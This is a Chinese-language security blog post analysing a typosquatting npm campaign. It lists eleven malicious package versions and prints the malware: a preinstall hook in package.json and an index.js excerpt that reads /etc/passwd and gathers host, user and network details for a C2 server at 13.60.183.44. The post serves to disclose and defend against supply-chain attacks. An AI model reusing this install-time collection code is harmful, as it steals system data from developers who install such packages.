目录
今天我们的 OSS 软件包恶意软件分析机器人发现了一个针对使用 npm 的开发者的新攻击活动。该活动涉及发布多个冒用流行软件包名称的 npm 软件包。这些软件包被用于收集受感染系统的基础系统信息和 /etc/passwd 文件的内容。
我们的系统检测到以下软件包,其行为模式与常见的信息收集技术高度吻合:
| 软件包名称 | 版本 |
|---|---|
| themes-vendor | 0.0.1 |
| x509-escaping | 0.0.1 |
| keycloak-server | 0.0.1 |
| module-stub | 0.0.1 |
| keycloak-server | 0.0.3 |
| postject-copy | 0.0.0 |
| micrometer-docs | 0.0.3 |
| orbit-playroom | 0.0.0 |
| x509-escaping | 0.0.0 |
| weekendfe | 0.0.1 |
| themes-vendor | 0.0.0 |
npm 立即从注册表中删除了这些软件包。此操作之所以可行,是因为没有其他软件包依赖这些恶意软件包。所有软件包都包含类似的恶意代码,在软件包安装时执行。例如,themes-vendor 附带了一个包含以下内容的 package.json 文件:
json
{
"name": "themes-vendor",
"version": "0.0.1",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "node index.js"
},
"author": "",
"license": "ISC"
}preinstall 文件中的 package.json 脚本执行了 index.js 脚本,该脚本依次执行了以下代码:
javascript
const apiHostname = '13.60.183.44';
const apiPort = 5000;
const apiPath = '/submit';
// [...]
let whoamiInfo = '';
try {
// Execute the 'whoami' command and trim the output
whoamiInfo = execSync('cat /etc/passwd', { encoding: 'utf-8' }).trim();
} catch (error) {
whoamiInfo = \`Error executing whoami: ${error.message}\`;
}
// [...]
const deviceInfo = {
platform: os.platform(),
release: os.release(),
hostname: os.hostname(),
arch: os.arch(),
userInfo: os.userInfo(),
networkInterfaces: os.networkInterfaces(),
whoamiinfo: whoamiInfo,
user: 'themes-vendor',
};命令与控制(C2)IP 13.60.183.44 属于 AWS,加上有效载荷的性质表明这是一次可能的红队行动或安全研究活动。
shell
NetRange: 13.60.0.0 - 13.63.255.255
CIDR: 13.60.0.0/14
NetName: AMAZO-4
NetHandle: NET-13-60-0-0-1
Parent: NET13 (NET-13-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Amazon.com, Inc. (AMAZO-4)
RegDate: 2022-10-11
Updated: 2022-10-11
Ref: https://rdap.arin.net/registry/ip/13.60.0.0结论
此次活动似乎是攻击者或可能的红队人员测试恶意软件分发技术的试验场。虽然该有效载荷似乎并不复杂或具有破坏性,但它仍然凸显了冒用流行软件包名称的恶意软件包这一非常真实的威胁。
- npm
- 恶意软件
SafeDep 博客最新内容
关注我们,获取开源安全与工程的最新更新和见解